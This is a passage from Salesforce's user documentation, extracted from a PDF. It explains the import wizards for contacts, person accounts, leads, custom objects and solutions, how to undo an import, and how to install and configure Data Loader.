(Note: You do not need this field if assigning ownership via a lead assignment rule. In addition, when importing records by Salesforce record ID, this field is ignored.)
Salutation State Status

Added to beginning of First Name


State Status

(For campaign Import Leads wizard only)


Street 1 Street 2 Street 3 Title Website

(in the Campaign History related list of a lead)


Address Address Address Title Website

Note: If you include record types in this list, the Import Wizard uses the record owners default record type when creating new records. For existing records, the Import Wizard does not update the record type field. If you choose to use assignment rules, the Import Wizard uses the new owners default record type when creating new records. When the assignment rules assign the record to a queue, the queue owners default record type is used.

See Also:
Import My Organizations Leads

Accessing the Import Wizards


For Records You Own
Import wizards for records you personally own are located at Your Name > Setup > Import: Import My Contacts Import My Person Accounts

828

Data Management

Accessing the Import Wizards

For Your Organization's Records


Import wizards for organization-wide data are located at Your Name > Setup > Data Management: Import My Organizations Accounts and Contacts Import My Organization's Person Accounts Import My Organizations Leads Import My Organization's Solutions Import My Organization's Custom Objects

For Campaign Members


To access the campaign import wizards, view a campaign and click Manage Members. Then click the appropriate link: Add Members - Import File (Lead Import Wizard ) Update & Add Members - Import File (Campaign Update Wizard)

See Also:
Importing Overview Importing Articles FAQ: Importing What permissions do I need to import records? How do I update records using the Import Wizard?

Import My Contacts
Available in: All Editions except Database.com

With the Import My Contacts wizard, any user can import up to 500 personal contacts and associated business accounts. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 809) and correctly prepared your data (see Preparing Your Data for Import on page 815). Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard Navigate to Your Name > Setup > Import > Import My Accounts & Contacts, and click Start the Import Wizard!. Alternatively, click the Import My Accounts & Contacts link in the Tools area of the account home page. Note that the labels for business contacts and business accounts may have been renamed by your administrator, in which case the Import My... links may have customized text. 2. Select the source a. Specify the source application of your data - ACT!, Outlook, or other data source (any CSV file). b. Click Next to continue. 3. Upload the file

829

Data Management

Accessing the Import Wizards

a. Click Browse to load your file. b. If importing from ACT! or Outlook, click Import Now!, or click Customize Mappings to verify the field mappings. c. If importing from any other source, select the character encoding of the file. Most users will not need to change the default setting. d. Choose whether to match your contacts by name or by email. This field sets the criteria for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforcewith the same email, then a new record will be created. e. Choose Next to continue. 4. Map the fields a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your import file. You must check the default mappings and alter any incorrect mappings. For more information about the default field mappings, see Preparing Your Data for Import on page 815. b. Note that there is no Record Owner field; you are automatically assigned as the owner of any data you import. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite existing business account fields with your import data. Note that you cannot use this checkbox to update existing field data with blank values. c. You can import data only into the fields that are editable for you in your page layout or field-level security settings. (See Managing Page Layouts on page 1309 and Field-Level Security Overview on page 671. Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) d. When all fields are assigned correctly, click Next. 5. Map the miscellaneous fields a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped fields should be imported into an business account or contact Note or should not be imported at all. The fields are imported into a single business account Note or a single contact Note; separate note fields are not created for each import field. b. When all fields are assigned correctly, click Import Now!.

See Also:
Accessing the Import Wizards

830

Data Management

Accessing the Import Wizards

Import My Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import your own person accounts: Create on accounts AND Read on contacts AND Import Personal Contacts AND At least one person account record type available for your profile

With the Import My Person Accounts wizard, you can import person accounts that you own. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 802. Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to the new name. Follow these steps to import your person accounts. Click each link for more details. 1. 2. 3. 4. 5. 6. 7. Launch the wizard Prevent duplicate records Select record type Upload your import file Map fields Confirm and submit your import Complete your import

Launch the wizard 1. To import your person accounts, choose Your Name > Setup > Import > Import My Person Accounts. Alternatively, click Import My Person Accounts in the Tools area of the accounts home page. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Prevent Duplicate Records 1. Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records.

831

Data Management

Accessing the Import Wizards

2. Choose what you want to happen if matches are found - only import new records, only update existing records, or update existing records and import new ones. Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones. 3. Click Next. Select record type 1. Choose the record type that you want to assign to the records in your import file. 2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next. Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value. 3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually. Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped. 2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard.

832

Data Management

Accessing the Import Wizards

3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 945.

See Also:
Accessing the Import Wizards

Import My Organizations Accounts and Contacts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

With the Import My Organizations Accounts and Contacts wizard, administrators, and users with the Modify All Data permission, can import up to 50,000 business accounts and contacts at a time for multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 809) and correctly prepared your data (see Preparing Your Data for Import on page 815). Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard. Go to Your Name > Setup > Data Management > Import Accounts/Contacts (or Import Business Accounts/Contacts if your organization uses person accounts). Review the steps provided on the welcome page, then click Start the Import Wizard!. Alternatively, click the appropriate link in the Tools area of the accounts home page. Note: If your organization uses person accounts and the labels for business accounts and business contacts have been renamed, the renamed labels will appear in the Tools area of the accounts home page, but not in the Data Management area under Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.) 2. Create your import file. a. Follow the instructions to create an import file, or see Creating Export Files for Import Wizards on page 809. b. Click Next to continue. 3. Upload the file. a. Click Browse to load your file. b. Select the character encoding of your file. Most users will not need to change the default character encoding setting. c. Choose whether to match your organizations contacts by Salesforce ID, name, or email. Similarly, choose whether to match your organizations accounts by Salesforce ID or by name and site. Note that matching by Salesforce ID is inclusive of both contacts and accounts. These Matching Type fields set the criteria for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforce with the same email, then a new record will be created. Note that contacts are matched only within the same account. If contacts related to different accounts have the same name or email, they treated as separate contacts.

833

Data Management

Accessing the Import Wizards

d. Organizations that use the Translation Workbench can specify the language of the import data. e. If you use divisions, select a division to assign to all imported records. Alternatively, select None to use the record owners default division on each record, or specify the division in your import file. f. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria. g. Click Next to continue. 4. Map the fields. a. On four different mapping pages, the wizard associates the Salesforce field names with the field names from your import file. You must check the default mappings and alter any incorrect mappings. For more information about the default field mappings, see Preparing Your Data for Import on page 815. b. Remember to map the Record Owner field with your Record Owner field so that record ownership is assigned correctly. When importing records by Salesforce record ID, the Record Owner field in your import file is ignored. All records retain their existing owners; record owners cannot be updated using the import wizard. c. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite existing account fields with your import data. Note that you cannot use this checkbox to update existing field data with blank values. d. When all fields are assigned correctly, click Next. 5. Map the miscellaneous fields. a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped fields should be imported into an account or contact Note or should not be imported at all. The fields are imported into a single account Note or a single contact Note; separate note fields are not created for each import field. b. When all fields are assigned correctly, click Next. 6. Review and confirm. a. If there are warnings on this page, stop the import process and correct your import file. b. Select Import Now! to send your import request. Your data is imported within the next 24 hours, and we notify you via email when the import is complete. Once the system begins processing, you cannot cancel the import (see Undoing an Import on page 845). 7. Check the Import Queue. a. You can use the Import Queue to check the progress of your import. Click Your Name > Setup > Monitoring > Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organization page. For imports that have not begun processing, you can click Del to cancel the import. Note: If your organization uses territory management, your imported accounts are always evaluated by account assignment rules. See Territory Management Overview on page 2773.

See Also:
Accessing the Import Wizards

834

Data Management

Accessing the Import Wizards

Import My Organization's Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import your organization's person accounts: Import Person Accounts

With the Import My Organization's Person Accounts wizard, you can import person accounts that are owned by different users. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 802. Note: If the label for person accounts has been renamed for your organization, the renamed label will appear in the import wizard itself and in the Tools area of the accounts home page, but not in the Data Management area under Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.) Follow these steps to import person accounts for your organization. 1. 2. 3. 4. 5. 6. 7. 8. Launch the wizard Prevent duplicate records Specify owner and lookup relationships Select record type Upload your import file Map fields Confirm and submit your import Complete your import Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup of your organization.

Launch the wizard To import person accounts for your organization: 1. Choose Your Name > Setup > Data Management > Import Person Accounts. Alternatively, click Import My Organization's Person Accounts in the Tools area of the accounts home page. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Prevent duplicate records 1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records from being created. You must select Yes in order to update existing records. 2. If you choose Yes, then additional choices will appear:

835

Data Management

Accessing the Import Wizards

Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records. Choose what you want to happen if matches are foundonly import new records, only update existing records, or update existing records and import new ones. Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones.

3. Click Next. Specify owner and lookup relationships 1. Specify the field in your import file that contains person account owners. When you choose Name, the following formats are valid: First name followed by last name Last name followed by first name Alias Username

For more information, see User Fields on page 32. 2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in your import file, then check the corresponding boxes. Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated during your import even if your import file contains different values for fields on those related records. 3. Click Next. Select record type 1. Choose the record type that you want to assign to the records in your import file. 2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next. Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value. 3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually.

836

Data Management

Accessing the Import Wizards

Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped. 2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard. 3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 945.

See Also:
Accessing the Import Wizards

Import My Organizations Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use the Import My Organization's Leads wizard: Read, Create, and Edit on leads AND Import Leads

With the Import My Organizations Leads wizard, administrators, users with the Marketing User profile, or users with the Import Leads permission and Read, Create, and Edit permissions on leads can import up to 50,000 leads at a time for multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 809) and correctly prepared your data (see Field Mapping for Importing Leads on page 826). Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard. Click Your Name > Setup > Data Management > Import Leads, and click Start the Import Wizard.

837

Data Management

Accessing the Import Wizards

2. Upload the file. a. Select Browse to load your import file. b. If desired, select a value to import into the Lead Source field of all imported leads. Alternatively, you can assign the lead source via a Lead Source field in your import file. You must specify a Lead Source value that is not marked as Converted; leads with a Converted status will not be imported. c. Next, choose a lead assignment rule to determine the owners of imported leads (see Managing Assignment Rules on page 1340). If you have a Record Owner field in your import file, do not select an assignment rule. Without an assignment rule or a Record Owner field in your import file, all leads are assigned to the administrator doing the import. When importing records by Salesforce record ID, the Record Owner field in your import file is ignored. All records retain their existing owners; record owners cannot be updated using the import wizard. d. If you have chosen an assignment rule, select the Use assignment rule settings to send notification emails to record owners checkbox to send notification emails to owners of newly created leads. If you do not select the checkbox, no email notifications are sent, regardless of your assignment rule settings. e. Then select the character encoding of your file. Most users do not need to change the default setting. f. Choose whether to match your organizations leads by Salesforce ID, name, or email. This field sets the criteria for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email as a record in Salesforce, then that record will be updated in Salesforce. If you are not matching by email and there is a record in Salesforce with the same email, then a new record will be created. Select a matching type of None if you do not want to de-duplicate leads; a new record will be created for every lead in your import file. When importing new leads for a campaign, the Matching Type option is not available; the wizard does not merge duplicate leads. g. Organizations that use the Translation Workbench can specify the language of the import data. h. If you use divisions, select a division to assign to all imported records. Alternatively, select None to use the record owners default division on each record, or specify the division in your import file. i. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria. j. If your organization has multiple record types on leads, choose the active record type that will be applied to all leads in your import file. However, if you are logged in as a user who has a default lead record type selected at Your Name > Setup > My Personal Information > Record Type Selection > Lead, then this drop-down list does not display and your default lead record type is automatically applied to the imported records. k. Click Next to continue. 3. Map the fields. a. The wizard associates the Salesforce lead field names with the field names in your import file. You must verify the default mappings and alter any incorrect mappings. For more information about the default mappings, see Field Mapping for Importing Leads on page 826. Any unmapped fields are not imported. b. If you chose to avoid duplicate leads (that is, the selected Matching Type is not None), check the Overwrite existing lead values box if you want to overwrite existing lead fields with your import data. Note that you cannot use this checkbox to update existing field data with blank values. c. Click Next to continue. 4. Review and confirm. Choose Import Now! to send your import request. Your leads are imported within the next 24 hours, and we notify you via email when the import is complete. Once the system begins processing, you cannot cancel the import. See Undoing an Import on page 845. 5. Check the Import Queue.

838

Data Management

Accessing the Import Wizards

You can use the Import Queue link to check the progress of your import. Click Your Name > Setup > Monitoring > Imports. Alternatively, click the Import Queue link on the Import Wizard for My Organizations Leads page. For imports that have not begun processing, you can click Del to cancel the import.

See Also:
Accessing the Import Wizards

Import My Organization's Custom Objects


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import custom objects: Modify All Data

With the Import My Organization's Custom Objects wizard, you can import custom objects. Follow these steps to import custom objects. Click each link for more details. 1. Launch the wizard 2. Choose the custom object 3. Prevent duplicate records 4. Specify owner, master-detail, and lookup relationships 5. Set lookup record matching 6. Select record type 7. Upload your import file 8. Map fields 9. Confirm and submit your import 10. Complete your import Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup of your organization.

Launch the wizard 1. To import custom objects, choose Your Name > Setup > Data Management > Import Custom Objects. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Choose the custom object 1. The first step of the wizard lists the custom objects that have been defined for your organization. 2. Identify the custom object you are importing by selecting the corresponding radio button. 3. Click Next.

839

Data Management

Accessing the Import Wizards

Prevent duplicate records 1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records from being created. You must select Yes in order to update existing records. 2. If you choose Yes, then additional choices will appear: Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records. Choose what you want to happen if matches are foundonly import new records, only update existing records, or update existing records and import new ones. Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones.

3. Click Next. Specify owner, master-detail, and lookup relationships 1. Custom objects can be owned by users, or they can have a master-detail relationship with other records. For example, a custom object can have a custom field that creates a master-detail relationship with accounts. In that case, your import file must include the names or IDs of all associated accounts. If your custom objects are owned by users, then choose the field in your import file to use for matching record owners. When you choose Name, the following formats are valid: First name followed by last name Last name followed by first name Alias Username

For more information, see User Fields on page 32. If your records have a master-detail relationship with another kind of record, then choose the field in your import file to use for matching master records.

2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in your import file, then check the corresponding boxes. Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated during your import even if your import file contains different values for fields on those related records. 3. Click Next. Set lookup record matching 1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely identify those related records. 2. Click Next. Select record type 1. If the records you are importing have record types, then choose the record type that you want to assign to the records in your import file.

840

Data Management

Accessing the Import Wizards

2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next. Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value. 3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually. Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped. 2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard. 3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 945.

See Also:
Accessing the Import Wizards What Is Imported for Custom Objects? FAQ: Importing

841

Data Management

Accessing the Import Wizards

Import My Organization's Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import solutions: Import Solutions

With the Import My Organization's Solutions wizard, you can import solutions. Follow these steps to import solutions. Click each link for more details. 1. Launch the wizard 2. Choose the type of solution (multilingual solutions only) 3. Prevent duplicate records 4. Specify author and lookup relationships 5. Set lookup record matching 6. Select record type 7. Upload your import file 8. Map fields 9. Confirm and submit your import 10. Complete your import Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup of your organization.

Launch the wizard 1. To import solutions, choose Your Name > Setup > Data Management > Import Solutions. 2. For best results, perform all of the steps provided on the introductory page. 3. Click Start the Import Wizard! to begin your import. Choose the type of solution (multilingual solutions only) 1. If multilingual solutions is enabled for your organization, choose to import either master solutions or translated solutions. You cannot import both at the same time. For each translated solution you import, include the 15 to 18 character Solution ID field of its master solution in a master solution ID column in your import file. This will help you avoid having to manually associate translated solutions with master solutions after import. To view the Solution ID field for master solutions, run the Translated Solutions report. 2. Select the language of the solutions you are importing from the Language drop-down list. For each import, you can only select one language so make sure your import file includes solutions in a single language.

842

Data Management

Accessing the Import Wizards

Prevent duplicate records 1. The import wizard can compare the records in your import file with existing records in Salesforce in order to prevent duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records from being created. You must select Yes in order to update existing records. 2. If you choose Yes, then additional choices will appear: Choose the field that you are using to match existing records in Salesforce with records in your import file. The External ID option is disabled if no external ID fields have been created for your records. Choose what you want to happen if matches are foundonly import new records, only update existing records, or update existing records and import new ones. Note: If you have chosen to match by Salesforce ID, you can only update existing records; you cannot import new ones.

3. Click Next. Specify author and lookup relationships 1. Solutions are associated with authors - the users who initially created the solutions. If you have included a column in your import file to identify authors, specify the user field it contains. When you choose Name, the following formats are valid: First name followed by last name Last name followed by first name Alias Username

For more information, see User Fields on page 32. Choose None to specify yourself as the author of the imported solutions. 2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in your import file, then check the corresponding boxes. Note: Any related records must already exist in Salesforce before proceeding. Related records will not be updated during your import even if your import file contains different values for fields on those related records. 3. Click Next. Set lookup record matching 1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely identify those related records. 2. Click Next. Select record type 1. If the records you are importing have record types, then choose the record type that you want to assign to the records in your import file. 2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record types of existing records. 3. Click Next.

843

Data Management

Accessing the Import Wizards

Upload your import file 1. Click Browse... to provide the location of your import file. 2. Choose the character encoding of your import file. In most cases, you can accept the default value. 3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered and the language of the records in the import file. 4. Click Next. Map fields 1. Map the fields in your import file to the appropriate Salesforce fields by matching the fields on the left, which includes all the columns in your import file, with the appropriate Salesforce field on the right. If the column labels in your import file exactly match field labels in Salesforce, the wizard automatically maps those fields for you. However, if two or more of your file's column labels are identical matches with a field in Salesforce, you must map the fields manually. Note: Some Salesforce fields cannot be updated using import, for example, the Created Date and Last Modified Date. So even though you may be using an exported report as your import file, some of the Salesforce fields in your file cannot be mapped. 2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field values are not imported. Confirm and submit your import 1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve potential problems. 2. Click Import Now! to submit your import request to Salesforce. Complete your import 1. A message indicates approximately how long the import will take. When the import operation is finished, a message from Customer Support will be sent to the email address shown. 2. Click Finish to exit the wizard. 3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 945.

See Also:
Accessing the Import Wizards

844

Data Loader

Undoing an Import

Undoing an Import
Available in: All Editions except Database.com

User Permissions Needed To mass delete data: Modify All Data

If you import accounts, contacts, leads, or solutions by mistake, your administrator can click Your Name > Setup > Data Management > Mass Delete Records to delete the items you mistakenly imported. View the Using Mass Delete to Undo Imports document for instructions. The Mass Delete Records tools do not support custom objects. If you import custom objects by mistake in Enterprise, Unlimited, or Developer Edition, your administrator can use the Data Loader to mass delete the mistakenly imported records. See Performing Mass Deletes on page 859.

DATA LOADER
Data Loader Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or export Salesforce records. When importing data, Data Loader reads, extracts, and loads data from comma separated values (CSV) files or from a database connection. When exporting data, it outputs CSV files. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

You can use Data Loader in two different ways: User interfaceWhen you use the user interface, you work interactively to specify the configuration parameters, CSV files used for import and export, and the field mappings that map the field names in your import file with the field names in Salesforce. Command lineWhen you use the command line, you specify the configuration, data sources, mappings, and actions in files. This enables you to set up Data Loader for automated processing.

Data Loader offers the following key features: An easy-to-use wizard interface for interactive use

845

Data Management

When to Use Data Loader

An alternate command line interface for automated batch operations Support for large files with up to 5 million records Drag-and-drop field mapping Support for all objects, including custom objects Can be used to process data in both Salesforce and Database.com Detailed success and error log files in CSV format A built-in CSV file viewer Support for Windows 7

To get started, see the following topics: When to Use Data Loader Installing Data Loader Note: In previous versions, Data Loader has been known as AppExchange Data Loader and Sforce Data Loader.

See Also:
Why cant I log in to Data Loader? Why isnt Data Loader importing special characters? Why do date fields import incorrectly when I use the Data Loader? How do I perform mass updates to records?

When to Use Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader complements the web-based import wizards that are accessible from the Setup menu in the online application. Refer to the following guidelines to determine which method best suits your business needs: Use Data Loader when: You need to load 50,000 to 5,000,000 records. Data Loader is supported for loads of up to 5 million records. If you need to load more than 5 million records, we recommend you work with a salesforce.com partner or visit the App Exchange for a suitable partner product. You need to load into an object that is not yet supported by the import wizards. You want to schedule regular data loads, such as nightly imports. You want to export your data for backup purposes.

Use the import wizards when: You are loading less than 50,000 records. The object you need to import is supported by import wizards. To see what import wizards are available and thus what objects they support, click Your Name > Setup > Data Management.

846

Installing and Configuring the Data Loader

Installing Data Loader

You want to prevent duplicates by uploading records according to account name and site, contact email address, or lead email address.

For more information about the import wizards, see Importing Overview on page 796.

INSTALLING AND CONFIGURING THE DATA LOADER


Installing Data Loader
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To access the page to download Data Loader: To use Data Loader: Modify All Data The appropriate user permission for the operation you are doing, for example, Create on accounts to insert new accounts

System Requirements To use Data Loader, you need: Microsoft Windows 7 or Windows XP 120 MB free disk space 256 MB available memory Java JRE 1.6 or later (Windows 7 or Windows XP) Sun JVM 1.6 or later (Windows 7 or Windows XP) Administrator privileges on the machine

Installation Procedure Warning: Over time, multiple versions of the Data Loader client application have been available for download. Different versions have different entries in the Add or Remove Programs dialog in your Windows Control Panel. Some versions were released with earlier product names such as AppExchange Data Loader or Sforce Data Loader. You can run different versions at the same time on one computer. However, do not install multiple copies of the same version. The latest version is always available from Salesforce at Your Name > Setup > Data Management > Data Loader. If you have previously installed the latest version and want to install it again, first remove it from your computer by using the Add or Remove Programs dialog in Windows Control Panel. 1. In the application, click Your Name > Setup > Data Management > Data Loader. 2. Click Download the Data Loader and save the installer to your PC. If you're prompted to run or save the file, click Run. If you're then prompted to allow the program to make changes to the computer, click Yes. 3. Double-click the downloaded file to launch the InstallShield wizard.

847

Data Management

Configuring Data Loader

4. 5. 6. 7. 8. 9.

Click Next. Accept the license agreement and click Next. Accept the default installation directory, or click Change... to choose another directory. Click Next. Click Install. Click Finish. To start Data Loader, double-click the Data Loader icon on your desktop, or choose Start > All Programs > salesforce.com > Apex Data Loader > Apex Data Loader. Tip: If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting From the Command Line on page 864.

If you want to download the source code and make changes, an open source version of Data Loader is available at https://github.com/forcedotcom/dataloader. Login Considerations If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in.

Configuring Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Use the Settings menu to change the default operation settings of Data Loader. 1. Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. 2. Choose Settings > Settings. 3. Edit the fields as desired: Field
Batch size

Description In a single insert, update, upsert, or delete operation, records moving to or from Salesforce are processed in increments of this size. The maximum value is 200. We recommend a value between 50 and 100. The maximum value is 10,000 if the Use Bulk API option is selected.

Insert null values

Select this option to insert blank mapped values as null values during data operations. Note that when you are updating records, this option instructs Data Loader to overwrite any existing data in mapped fields.

848

Data Management

Configuring Data Loader

Field

Description This option is not available if the Use Bulk API option is selected. Empty field values are ignored when you update records using the Bulk API. To set a field value to null when the Use Bulk API option is selected, use a field value of #N/A.

Assignment rule

Specify the ID of the assignment rule to use for inserts, updates, and upserts. This option applies to inserts, updates, and upserts on cases and leads. It also applies to updates on accounts if your organization has territory assignment rules on accounts. The assignment rule overrides Owner values in your CSV file. Enter the URL of the Salesforce server with which you want to communicate. For example, if you are loading data into a sandbox, change the URL to https://test.salesforce.com. By default, Salesforce resets the URL after login to the one specified in Server host. To turn off this automatic reset, disable this option. Compression enhances the performance of Data Loader and is turned on by default. You may want to disable compression if you need to debug the underlying SOAP messages. To turn off compression, enable this option. Specify how many seconds Data Loader waits to receive a response back from the server before returning an error for the request. In a single export or query operation, records are returned from Salesforce in increments of this size. The maximum value is 2,000 records. Larger values may improve performance but use more memory on the client. Select this option to generate success and error files when exporting data. Select this option to force files to open in UTF-8 encoding, even if they were saved in a different format. Select this option to force files to be written in UTF-8 encoding. Select this option to support the date formats dd/MM/yyyy and dd/MM/yyyy HH:mm:ss. Select this option to truncate data in the following types of fields when loading that data into Salesforce: Email, Multi-select Picklist, Phone, Picklist, Text, and Text (Encrypted).

Server host

Reset URL on Login

Compression

Timeout

Query request size

Generate status files for exports

Read all CSVs with UTF-8 encoding

Write all CSVs with UTF-8 encoding

Use European date format

Allow field truncation

849

Data Management

Configuring Data Loader

Field

Description In Data Loader versions 14.0 and earlier, values for fields of those types are truncated by Data Loader if they are too large. In Data Loader version 15.0 and later, the load operation fails if a value is specified that is too large. Selecting this option allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Data Loader versions 15.0 and later. This option is selected by default and has no effect in versions 14.0 and earlier. This option is not available if the Use Bulk API option is selected. In that case, the load operation fails for the row if a value is specified that is too large for the field.

Use Bulk API

Select this option to use the Bulk API to insert, update, upsert, delete, and hard delete records. The Bulk API is optimized to load or delete a large number of records asynchronously. Its faster than the default SOAP-based API due to parallel processing and fewer network round-trips. Warning: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead, they become immediately eligible for deletion. The permission for this operation, Bulk API Hard Delete, is disabled by default and must be enabled by an administrator. A Salesforce user license is required for hard delete. For more information, see Configuring the Data Loader to Use the Bulk API on page 852 and Data Loader Behavior with Bulk API Enabled on page 851

Enable serial mode for Bulk API

